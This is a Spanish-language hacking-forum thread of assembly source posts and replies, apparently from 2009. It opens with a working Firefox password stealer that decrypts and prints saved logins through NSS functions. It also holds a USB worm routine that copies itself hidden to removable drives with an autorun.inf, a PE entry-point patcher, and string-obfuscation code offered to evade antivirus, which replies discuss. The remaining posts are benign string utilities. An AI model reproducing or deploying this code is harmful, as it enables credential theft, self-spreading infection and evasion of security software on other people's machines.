Cargar,dword[ebx+4],"nspr4.dll" stdcall Cargar,dword[ebx+4],"plc4.dll" stdcall Cargar,dword[ebx+4],"plds4.dll" stdcall Cargar,dword[ebx+4],"nssutil3.dll" stdcall Cargar,dword[ebx+4],"softokn3.dll" stdcall Cargar,dword[ebx+4],"softokn3.dll" ;"nss3.dll" invoke LocalAlloc,40h,MAX_PATH+1 mov [P],eax stdcall Concat,sPath, "nss3.dll",eax invoke LoadLibrary,[P] mov [lvLibs7],eax invoke LocalFree,[P] ;1A invoke SHGetSpecialFolderLocation,0,1ah,ebx invoke SHGetPathFromIDList,dword[ebx],sFFPath invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini" invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath stdcall Zerar,sFFPath,MAX_PATH invoke SHGetSpecialFolderLocation,0,1ah,ebx invoke SHGetPathFromIDList,dword[ebx],sFFPath invoke lstrcat,sFFPath,"\Mozilla\Firefox\" invoke lstrcat,sFFPath,sRet invoke lstrcat,sFFPath,"\signons3.txt" invoke CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 mov [hFile], eax invoke GetFileSize, eax, 0 mov [tamAr], eax invoke GlobalAlloc, GPTR, eax mov [IB], eax invoke ReadFile, [hFile], [IB], [tamAr], bUsados, 0 invoke SHGetSpecialFolderLocation,0,1ah,ebx invoke SHGetPathFromIDList,dword[ebx],sRet2 invoke lstrcat,sRet2 ,"\Mozilla\Firefox\" invoke lstrcat,sRet2 ,sRet ;lKeySlot invoke GetProcAddress,[lvLibs7], "NSS_Init" stdcall eax,sRet2 .if eax = 0 invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot" stdcall eax mov [lKeySlot],eax .if eax <> 0 invoke GetProcAddress,[lvLibs7], "PK11_Authenticate" stdcall eax,[lKeySlot],TRUE,0 .if eax = 0 xor edi,edi mov ebx,[IB] invoke printf,Espacio invoke printf,Espacio .bucle: inc edi cmp edi, [tamAr] je salir inc ebx cmp byte[ebx],"." jne .bucle cmp byte[ebx+1],13 jne .bucle cmp byte[ebx+2],10 jne .bucle add ebx,3 .if byte[ebx] <> 0 mov [URL],ebx .bucle2: inc edi cmp edi, [tamAr] je salir inc ebx cmp byte[ebx],13 jne .bucle2 cmp byte[ebx+1],10 jne .bucle2 mov byte[ebx],0 mov byte[ebx+1],0 invoke printf,Espacio invoke printf,Espacio invoke printf,"WEB: %s",[URL] invoke printf,Espacio .campo: add ebx,2 mov [Campo],ebx .bucle3: inc edi cmp edi, [tamAr] je salir inc ebx cmp byte[ebx],13 jne .bucle3 cmp byte[ebx+1],10 jne .bucle3 mov byte[ebx],0 mov byte[ebx+1],0 invoke printf,"Campo: %s",[Campo] invoke printf,Espacio add ebx,2 mov [valor],ebx .bucle4: inc edi cmp edi, [tamAr] je salir inc ebx cmp byte[ebx],13 jne .bucle4 cmp byte[ebx+1],10 jne .bucle4 mov byte[ebx],0 mov byte[ebx+1],0 invoke lstrlen,[valor] mov [Campo],eax invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer" stdcall eax,0, tsec, [valor], [Campo] invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt" stdcall eax, tsec,tSecDec, 0 invoke printf,"Datos: %s",[tSecDec.SECItemData] invoke printf,Espacio add ebx,2 .if dword[ebx] = "http" sub ebx,2 jmp .bucle .else sub ebx,2 jmp .campo .endif .endif .endif .endif .endif .endif salir: invoke ExitProcess,0 proc Cargar, sPathL, libreria invoke LocalAlloc,40h,MAX_PATH+1 mov [P],eax stdcall Concat,[sPathL],[libreria] ,eax invoke LoadLibrary,[P] invoke LocalFree,[P] ret endp proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest mov esi,[@AdrSrc1] mov edi,[@AdrDest] .concat_src1: movsb cmp byte[esi],0 jne .concat_src1 mov esi,[@AdrSrc2] .concat_src2: movsb cmp byte[esi],0 jne .concat_src2 movsb ret endp proc Zerar,Puntero,Cantidad push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp section '.idata' import data readable writeable library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll' include 'api/kernel32.inc' include 'api/user32.inc' import msvcrt,printf,"printf",system,"system" include 'api/shell32.inc' section '.reloc' fixups data discardable
Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: Karcrack en 1 Mayo 2009, 11:13 am
Buen trabajo, yo estaba haciendo lo mismo :xD
Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD
PD:El code es un poco mas pesado de lo necesario no?
Título: Re: [SRC][ASM]Visor de claves de el firefox(provado con 3.0.10 )
Publicado por: YST en 1 Mayo 2009, 16:12 pm
Buen trabajo, yo estaba haciendo lo mismo :xD Gracias , podrias hacerlo tu tambien y postearlo. Porcierto, todo lo que tu haces es Humilde? :xD :xD :xD Si :xD :xD PD:El code es un poco mas pesado de lo necesario no? el codigo lo tengo que optimizar todavia ya que tiene muchas partes inecesarias. Aparte la sección section '.reloc' fixups data discardable ocupa mucho espacio , se la puedes sacar si gustas y el codigo lo termine a las 4:30 AM(hora chilena) osea no estaba en condicion para ponerme a mejorar el source :xD. Ahora a ver como guarda las claves el IE7 y el IE8
Título: SRCs de YST.
Publicado por: YST en 1 Mayo 2009, 18:16 pm
include 'win32ax.inc' INVALID_FILE_SIZE = 0xffffffff .code start: stdcall ChangeEntryPoint,"c:\Arreglado.exe",$ .if eax = 0 invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0 .else invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0 .endif invoke ExitProcess,0 proc ChangeEntryPoint,Path,NewEP:DWORD locals Handle dd ? Tamaño dd ? Emezeta dd ? cantidad dd ? endl push ebx invoke CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 ;Abrimos el archivo para lectura cmp eax,INVALID_HANDLE_VALUE je .error mov [Handle],eax ;Guardamos el handle invoke GetFileSize, eax, 0 ;Vemos el tamaño cmp eax,INVALID_FILE_SIZE je .error mov [Tamaño], eax invoke GlobalAlloc, GPTR, eax mov [Emezeta], eax invoke ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0 ;Leemos el archivo cmp eax,TRUE jne .error invoke CloseHandle,[Handle] ;Cerramos el handle cmp eax,NULL je .error mov ebx,[Emezeta] cmp word[ebx],"MZ" jne .error add ebx,dword[ebx+03ch] cmp word[ebx],"PE" jne .error xor eax,eax mov eax,[NewEP] mov dword[ebx+28h],eax ;Cambiamos el EP invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 ;Creamos el archivo borrando el anterior cmp eax,INVALID_HANDLE_VALUE je .error mov [Handle], eax ;Escibimos el archivo invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL ; "Cerramos" el archivo invoke CloseHandle,[Handle] cmp eax,NULL je .error mov eax,1 jmp .salir .error: xor eax,eax .salir: pop ebx ret endp .end start
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: jackl007 en 1 Mayo 2009, 18:20 pm
me pregunto los antivirus detectran que se cambia el entrypoint? buen trabajo
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: [Zero] en 1 Mayo 2009, 18:37 pm
Si, concretamente avira y bitdefender entre otros lo detectan, yo tuve problemas con eso en mi proyecto y estuve bastante pensando hasta que por fin conseguí saltarmelo ;D. Con ejecutables en VB lo detectan bastante ya que tienen el mismo entry point y con los otros no tanto pero si.
Saludos
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 1 Mayo 2009, 18:40 pm
me pregunto los antivirus detectran que se cambia el entrypoint?
Depende el caso , por ejemplo como dice Hacker_zero si se lo cambias a un ejecutable hecho con Viisual basic te lo detectan.
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 3 Mayo 2009, 20:37 pm
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo". Buen trabajo ;)
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: YST en 4 Mayo 2009, 03:22 am
Mapear el archivo en estos casos suele ahorrar bastante trabajo, ya que se guardan los cambios automáticamente al "desmapearlo". Con mapear el archivo te refieres a usar las api's como CreateFileMapping ? . Si es a si si tienes razón disminuyen el trabajo. Buen trabajo ;) Gracias :D
Título: Re: [SRC][ASM]ChangeEntryPoint
Publicado por: ~~ en 4 Mayo 2009, 15:33 pm
Si, a esas mismas, así solo tendrías que mapearlo, cambiar en memoria el DWORD del EP y desmapearlo xD
Título: SRCs de YST.
Publicado por: YST en 5 Mayo 2009, 10:24 am
Hola , para un proyecto que tengo que hacer tube la necesidad de desarrollar algo parecido al split de visual basic , se los dejo espero que les sirva include 'win32ax.inc' .data Separador db "/()·/", 0 Cadena db 'Soy/()·/una/()·/cadena',0 Cantidad dd ? buffer rb MAX_PATH .code start: stdcall Split,Cadena,Separador,buffer mov [Cantidad],eax stdcall Len,Separador mov ebx,eax mov ecx,[Cantidad] inc ecx mov esi,buffer .bucle: push ecx invoke MessageBox,0,esi,esi,0 stdcall Len,esi add esi,eax add esi,ebx pop ecx loop .bucle invoke ExitProcess,0 ; cCadena(in) = Cadena a partir ; cSeparador(in) = Separador que se usara para partir la cadena ; cBuffer(out) = A donde se guardara la cadena partida ; Retorna la cantidad de separadores encontrados proc Split,cCadena,cSeparador,cBuffer push edi esi ecx ebx xor ebx,ebx stdcall copy,[cBuffer],[cCadena] stdcall Len,[cSeparador] mov edi,eax mov esi,[cBuffer] dec esi .bucle: inc esi cmp byte[esi],0 je .salir mov cl,byte[esi+edi] mov byte[esi+edi],0 stdcall comparar,esi,[cSeparador] mov byte[esi+edi],cl cmp eax,0 jne .bucle inc ebx mov byte[esi],0 add esi,edi jmp .bucle .salir: mov eax,ebx pop ebx ecx esi edi ret endp proc comparar ,SRC,DST ;Funcion que compara push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp proc Len,cCadena ;Funcion que mide la cadena push ecx edi mov ecx,-1 mov edi,[cCadena] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp proc copy,cDestino,cCadena ;funcion que copia una cadena push ecx edi esi stdcall Len,[cCadena] add eax,2 mov ecx,eax mov esi,[cCadena] mov edi,[cDestino] rep movsb pop esi edi ecx ret endp .end start
Título: SRCs de YST.
Publicado por: YST en 16 Mayo 2009, 07:56 am
Hola , hice una función de "cifrado" mas que nada para hacer mas fuerte la encriptacion XOR , tambien se puede usar para modificar el nombre de las dll de un archivo , basicamente lo que hace es cambiar las minisculas por mayusculas y viceversa nom modificando ningun simbolo , es muy basica pero como lo dije la use para cifrar cadenas ( primero le paso mi encriptaccion y luego un xor normal ) , funciona para mejorar la cifrado ya que como sabran para nosotros la letra "A" es la misma que "a" pero para los antivirus son diferentes ya que su valor ascii es distinto , bueno se las dejo veran ustedes para que la usan. include 'win32ax.inc' .data xD db '[soy una cadena.]',0 .code start: stdcall EncriptacionChangeCase,xD,0 invoke MessageBox,0,xD,0,0 invoke ExitProcess,0 ;Función que transforma las miniscula a mayusculas y viceversa ; cCadena = Puntero de cadena a cifrar ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo ) ; By YST proc EncriptacionChangeCase,cCadena,cTamaño push ebx xor ebx,ebx cmp [cTamaño],0 je .contar mov ebx,[cTamaño] jmp .Start .contar: mov ebx,0 mov eax,[cCadena] .len: inc ebx inc eax cmp byte[eax],0 jne .len .Start: mov eax, [cCadena] dec eax inc ebx .bucle: dec ebx inc eax cmp ebx,0 je .salir cmp byte[eax],'A' jb .bucle cmp byte[eax],91 jge .revisar jmp .seguir jmp .bucle .seguir: cmp byte[eax],"Z" jbe .Mayuscula cmp byte[eax],"z" jbe .Miniscula jmp .bucle .salir : xor ebx,ebx mov ebx,0 mov eax,[cCadena] pop ebx ret .revisar: cmp byte[eax],96 jg .seguir jbe .bucle .Mayuscula: ;Si es Mayuscula la pasamos a miniscula add byte[eax],0x20 jmp .bucle .Miniscula: ;Si es miniscula la pasamos a Mayuscula sub byte[eax],0x20 jmp .bucle xor ebx,ebx mov ebx,0 mov eax,[cCadena] endp .end start
por cierto por si necesitan una función para cifrar con XOR ;Función que cifra con un xor 10 cada byte de una cadena ; cCadena = Puntero de cadena a cifrar ; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo ) ; By YST proc EncriptacionXOR,cCadena,cTamaño push ebx xor ebx,ebx cmp [cTamaño],0 je .contar mov ebx,[cTamaño] jmp .Start .contar: mov ebx,0 mov eax,[cCadena] .len: inc ebx inc eax cmp byte[eax],0 jne .len .Start: mov eax,[cCadena] inc ebx dec eax .bucle: dec ebx cmp ebx,0 jbe .salir inc eax xor byte[eax],10 jmp .bucle .salir: pop ebx ret endp
Título: [SRC]Funciones para trabajar cadenas unicode
Publicado por: YST en 16 Mayo 2009, 21:37 pm
Hola, necesite hacer una pequeña función que pasar a unicode , a alguien mas le puede servir por eso la posteo proc ASCIITOUNICODE,Cadena,Buffer push ecx ebx mov eax,[Cadena] mov ebx,[Buffer] dec eax sub ebx,2 .bucle: inc eax cmp byte[eax],0 je .salir add ebx,2 mov cl,byte[eax] mov byte[ebx],cl mov byte[ebx+1],0 jmp .bucle .salir: pop ebx ecx ret endp
Funcion que cuenta el largo de una cadena en Unicode: proc LenUnicode,cCadena mov ebx,[cCadena] mov eax,0 .bucle: inc eax cmp byte[ebx+eax*2],0 jne .bucle pop ebx ret endp
Funcion para concatenar cadenas en unicode proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer push esi edi mov edi,[cBuffer] mov esi,[cCadena1] .bucle1: movsb cmp word[esi],0 jne .bucle1 inc edi mov esi,[cCadena2] .bucle2: movsb cmp word[esi],0 jne .bucle2 pop edi esi ret endp
Título: Re: [SRC]EncriptacionChangeCase
Publicado por: [Zero] en 16 Mayo 2009, 23:27 pm
Muy buena si señor ;-). Tal vez podrías mejorarla haciendo que lo que decida mayúscula o minúscula sea un algoritmo pseudoaleatorio así el resultado será siempre diferente, yo lo hice en c así (http://foro.elhacker.net/programacion_cc/src_changeimportcase-t255065.0.html).
Saludos ;)
Título: Re: [SRC]EncriptacionChangeCase
Publicado por: YST en 17 Mayo 2009, 02:17 am
Para el uso que la use necesita ser reversible y de tu manera no lo es , podrias leer mejor el post.
Título: SRCs de YST.
Publicado por: YST en 19 Mayo 2009, 00:57 am
No se si a alguien le sirva pero igual la dejo ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory ; by YST proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad push esi edi xchg edi,[cBuffer] xchg esi,[Cpuntero] .bucleb: dec [cCantidad] movsb cmp [cCantidad],0 jge .bucleb pop edi esi ret endp
Título: [SRC] Encriptacion YST
Publicado por: YST en 19 Mayo 2009, 02:58 am
Hola , hice un pequeño enredo para cifrar ,digo enredo por que de criptografia yo no tengo idea,lo dejo proc YSTEncript,cCadena,cBuffer,cTamaño push eax ebx ecx edx esi mov ebx,[cBuffer] mov esi,[cCadena] dec esi dec ebx .Eb: dec [cTamaño] inc esi inc ebx mov cl,byte[esi] add cl,3 mov byte[ebx],cl not byte[ebx] xor byte[ebx],45 mov edx,[cTamaño] xor byte[ebx],dl cmp [cTamaño],0 jne .Eb pop esi edx ecx ebx eax ret endp proc YSTDesencript,cCadena,cBuffer,cTamaño push eax ebx ecx edx esi mov ebx,[cBuffer] mov esi,[cCadena] dec esi dec ebx .Eb: dec [cTamaño] inc esi inc ebx mov cl,byte[esi] mov byte[ebx],cl mov edx,[cTamaño] xor byte[ebx],dl not byte[ebx] xor byte[ebx],45 sub byte[ebx],3 cmp [cTamaño],0 jne .Eb pop esi edx ecx ebx eax ret endp
Título: Re: [SRC] Encriptacion YST
Publicado por: Amerikano|Cls en 19 Mayo 2009, 04:17 am
Muy bueno YST sigue así, luego lo analizaré que tal ;)
Título: [SRC] cInstr
Publicado por: YST en 20 Mayo 2009, 02:31 am
include 'win32ax.inc' .code start: stdcall cInstr,"98y4ct2y3Hola83925832c","Hola" .if eax = FALSE invoke MessageBox,0,"No esta.",0,0 .else invoke MessageBox,0,eax,0,0 .endif invoke ExitProcess,0 ;//////////////////////////////////////////////////////////////////////////////////////////////////// ;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera // ;//c1 = Cadena // ;//c2 = Cadena que se buscara en c1 // ;// Retorna: // ;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax// ;// apuntandoa la posicion de c1 donde se encontro c2 // ;// by YST // ;//////////////////////////////////////////////////////////////////////////////////////////// proc cInstr,c1,c2 push edi esi ebx ecx edx stdcall Len,[c2] mov edi,eax stdcall Len,[c1] mov esi,eax cmp edi,esi jg .Falso mov edx,[c1] mov ebx,[c2] dec edx inc esi .bucle: dec esi inc edx mov cl,byte[edx+edi] mov byte[edx+edi],0 stdcall comparar,edx,[c2] mov byte[edx+edi],cl .if eax = 0 mov eax,edx jmp .salir .endif cmp esi,0 jne .bucle .Falso: mov eax,FALSE .salir: pop edx ecx ebx esi edi ret endp proc comparar ,SRC,DST ;Funcion que compara push edi ecx esi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax mov ecx,eax mov esi,[SRC] mov edi,[DST] repz cmpsb mov eax,1 jnz Next dec eax Next: pop esi ecx edi ret endp proc Len,cCadena ;Funcion que mide la cadena push ecx edi mov ecx,-1 mov edi,[cCadena] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp .end start
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Karcrack en 20 Mayo 2009, 18:56 pm
Buen trabajo ;D! Esto es lo que hace RtlMoveMemory según Olly... es muy parecido al tuyo ;D 7C912C94 > 56 PUSH ESI 7C912C95 57 PUSH EDI 7C912C96 8B7424 10 MOV ESI,DWORD PTR SS:[ESP+10] 7C912C9A 8B7C24 0C MOV EDI,DWORD PTR SS:[ESP+C] 7C912C9E 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 7C912CA2 FC CLD 7C912CA3 3BF7 CMP ESI,EDI 7C912CA5 76 1A JBE SHORT ntdll.7C912CC1 7C912CA7 8BD1 MOV EDX,ECX 7C912CA9 83E2 03 AND EDX,3 7C912CAC C1E9 02 SHR ECX,2 7C912CAF F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 7C912CB1 0BCA OR ECX,EDX 7C912CB3 75 05 JNZ SHORT ntdll.7C912CBA 7C912CB5 5F POP EDI 7C912CB6 5E POP ESI 7C912CB7 C2 0C00 RETN 0C
Aunque no se que es CLD... tendré que investigar...
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: YST en 20 Mayo 2009, 19:01 pm
Aunque no se que es CLD... tendré que investigar... Borra la bandera de direccion si no mal recuerdo.
Título: [SRC]Infección USB
Publicado por: YST en 20 Mayo 2009, 19:07 pm
Esta en fasm para llamarlo se llama con invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0 Autorun db '[autoRun]',13,10,\ 'action=Open Files On Folder',13,10,\ 'shellexecute=',0 Autorun2 db 13,10,\ 'UseAutoPlay=1',0 BufferUnidades rb 31
proc InfeccionUSB locals Miruta dd ? Minombre dd ? MiRutaInfeccionaria dd ? MiAutorun dd ? RutaAutorun dd ? handleCreado dd ? tamaño dd ? bEscritos dd ? endl pushad invoke GlobalAlloc,GPTR,MAX_PATH mov [Miruta],eax invoke GetModuleFileNameA,0,[Miruta],MAX_PATH stdcall ConseguirNombre,[Miruta] mov [Minombre],eax .infinito: invoke SleepEx,1000,FALSE stdcall Zerar,BufferUnidades,30 invoke GetLogicalDriveStringsA,30,BufferUnidades mov ebx,BufferUnidades .bucleDetectaExtraible: invoke GetDriveTypeA,ebx .if eax = DRIVE_REMOVABLE .if word[ebx] = 'A:' .else invoke GlobalAlloc,GPTR,MAX_PATH mov [MiRutaInfeccionaria],eax stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria] ; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA" invoke PathFileExistsA,[MiRutaInfeccionaria] .if eax = FALSE invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE ;SetFileAttributes invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN invoke GlobalAlloc,GPTR,MAX_PATH mov [MiAutorun] ,eax invoke GlobalAlloc,GPTR,MAX_PATH mov [RutaAutorun],eax stdcall Concat,Autorun,[Minombre], [MiAutorun] stdcall Concat,[MiAutorun],Autorun2, [MiAutorun] stdcall Concat,ebx,"autorun.inf",[RutaAutorun] invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 mov [handleCreado], eax invoke lstrlenA,[MiAutorun] mov [tamaño],eax invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL invoke CloseHandle, [handleCreado] invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN invoke GlobalFree,[MiAutorun] invoke GlobalFree,[RutaAutorun] .endif invoke GlobalFree,[MiRutaInfeccionaria] .endif .endif .if byte[ebx] = 0 invoke GlobalFree,[Miruta] invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0 invoke ExitThread,0 .else add ebx,4 jmp .bucleDetectaExtraible .endif endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest mov esi,[@AdrSrc1] mov edi,[@AdrDest] .concat_src1: movsb cmp byte[esi],0 jne .concat_src1 mov esi,[@AdrSrc2] .concat_src2: movsb cmp byte[esi],0 jne .concat_src2 movsb ret endp proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo. push ebx xor ebx,ebx mov ebx,[ruta] stdcall len,[ruta] add ebx,eax @@: dec ebx cmp byte[ebx],5Ch jne @b inc ebx mov eax,ebx pop ebx ret endp proc Zerar,Puntero,Cantidad push ecx push ebx mov ecx,[Cantidad] mov ebx,[Puntero] .bucle: mov byte[ebx+ecx],0 loop .bucle mov byte[ebx],0 pop ebx pop ecx ret endp
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 21:28 pm
bueno, ya que estamos con alternativas a apis, yo coloco el mio. StrCmpW: Compara cadenas UNICODE, si son iguales devuelve error_sucess StrCmpW proc str1,str2 push ebx push edx mov ebx,str1 mov edx,str2 comparando: movzx eax,word ptr[ebx] cmp ax,word ptr[edx] jne diferente add ebx,2 add edx,2 test ax,ax jz fin jmp comparando diferente: inc eax fin: pop edx pop ebx ret StrCmpW endp
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 21:34 pm
cld, movzx, rep movsb, word ptr ? :o tengo mucho que aprender todavia, felicitaciones por los codes, ;-)
Título: Re: [SRC]Infección USB
Publicado por: ny0x en 20 Mayo 2009, 21:56 pm
excelente yst infeccion usb, ;D yo la habia hecho en C pero asm es otro rollo, nada mas que yo mejore mi nivel en asm empiezo a postear mis codes por aqui ;) saludos
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: Arkangel_0x7C5 en 20 Mayo 2009, 22:04 pm
como dijo jack el destripador, vamos por partes xD
rep repite una operacion hasta que cx o ecx sean 0.
movsb, movsw, movsd. Mueven el contenido de la direccion de memoria contenida en esi, a la direccion de memoria apuntada por edi y los aumentan o disminullen 1,2,4 respectivamente.
cld borra el falg que indica si se resta o aumenta edi y esi con un movsX STD hace lo contrario de CLD. Si el flag esta en 1, se disminuiran y en cero se incrementaran.
movzx es como un mov, pero sirve para copiar 1,2,4 bytes en un registro de 32bits. Rellenando lo que falte con zeros.
Byte ptr, word ptr, dwrod ptr es la forma que se usa para decirle al Masm la cantidad de bytes que se quiere leer de memoria.
saludos
Título: Re: [SRC]Alternativa RtlMoveMemory
Publicado por: ny0x en 20 Mayo 2009, 22:15 pm
como dijo jack el destripador, vamos por partes xD XDDDDDDD ok ya entendi (mas o menos) gracias por la info P.D eres el arkangel que conozco? ¿gedzac?
Título: SRCs de YST.
Publicado por: YST en 21 Mayo 2009, 08:40 am
Debido a un problema que me surgio necesite hacer una función que obtenga la extension real de un archivo , se las dejo por si le sirve a alguien. include 'win32ax.inc' .code start: stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal" invoke MessageBox,0,eax,0,0 invoke ExitProcess,0 ;Descripcion: Esta función devuelve la extension de un archivo ; cRuta = Ruta del archivo ; by YST proc DetectaExtención,cRuta push ebx esi xchg eax,[cRuta] dec eax .bucle: inc eax cmp byte[eax],0 jne .bucle inc eax .bucle2: dec eax cmp byte[eax],"." jne .bucle2 xor esi,esi dec esi .bucle3: inc eax inc esi cmp byte[eax],0 jne .bucle3 push eax invoke GlobalAlloc,GPTR,esi xchg ebx,eax pop eax sub eax,esi stdcall cRtlMoveMemory,ebx,eax,esi xchg ebx,eax .salir: pop esi ebx ret endp ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory ; by YST proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad push esi edi xchg edi,[cBuffer] xchg esi,[Cpuntero] .bucleb: dec [cCantidad] movsb cmp [cCantidad],0 jge .bucleb pop edi esi ret endp .end start
Título: [SRC]StrReverse
Publicado por: YST en 29 Mayo 2009, 09:22 am
include 'win32ax.inc' .data buffer rb 100 .code start: stdcall StrReverse,kk,buffer invoke MessageBox,0,buffer,kk,0 leave ret kk: db "Estoy cifrado",0 proc StrReverse,cCadena,cBuffer push ebx esi edi eax ecx mov ebx, [cCadena] mov esi,[cBuffer] stdcall Len,ebx mov ecx,eax mov al,byte[ebx] dec ecx mov edi,0 .bucle: mov ah,byte[ebx+ecx] mov byte[esi+edi],ah inc edi dec ecx jecxz .salir jmp .bucle .salir: mov byte[esi+edi],al mov byte[esi+edi+1],0 pop ecx eax edi esi ebx ret endp proc Len , SRC push ecx edi mov ecx,-1 mov edi,[SRC] mov al,0 repnz scasb mov eax,ecx not eax dec eax pop edi ecx ret endp .end start
Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 29 Mayo 2009, 10:10 am
YST: por favor usa este hilo de ahora en adelante.
Gracias.
Título: Re: SRCs de YST.
Publicado por: Og. en 30 Mayo 2009, 06:33 am
borrado por que me canse del foro .
que lastima :-\
Título: Re: SRCs de YST.
Publicado por: YST en 31 Mayo 2009, 04:39 am
borrado por que me canse del foro .
que lastima :-\ Respuesto todo XD!
Título: Re: SRCs de YST.
Publicado por: Amerikano|Cls en 31 Mayo 2009, 07:15 am
Anda la osa, sigue con esto xD, tendre que leer cada code con detenimiento porque estan de p**a madre :). Haber si un dia me animo y pongo mis src de java de todo lo que he trabajado :rolleyes:
salu2
Título: Re: SRCs de YST.
Publicado por: Eternal Idol en 1 Junio 2009, 00:34 am
Sigue aca (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html).
|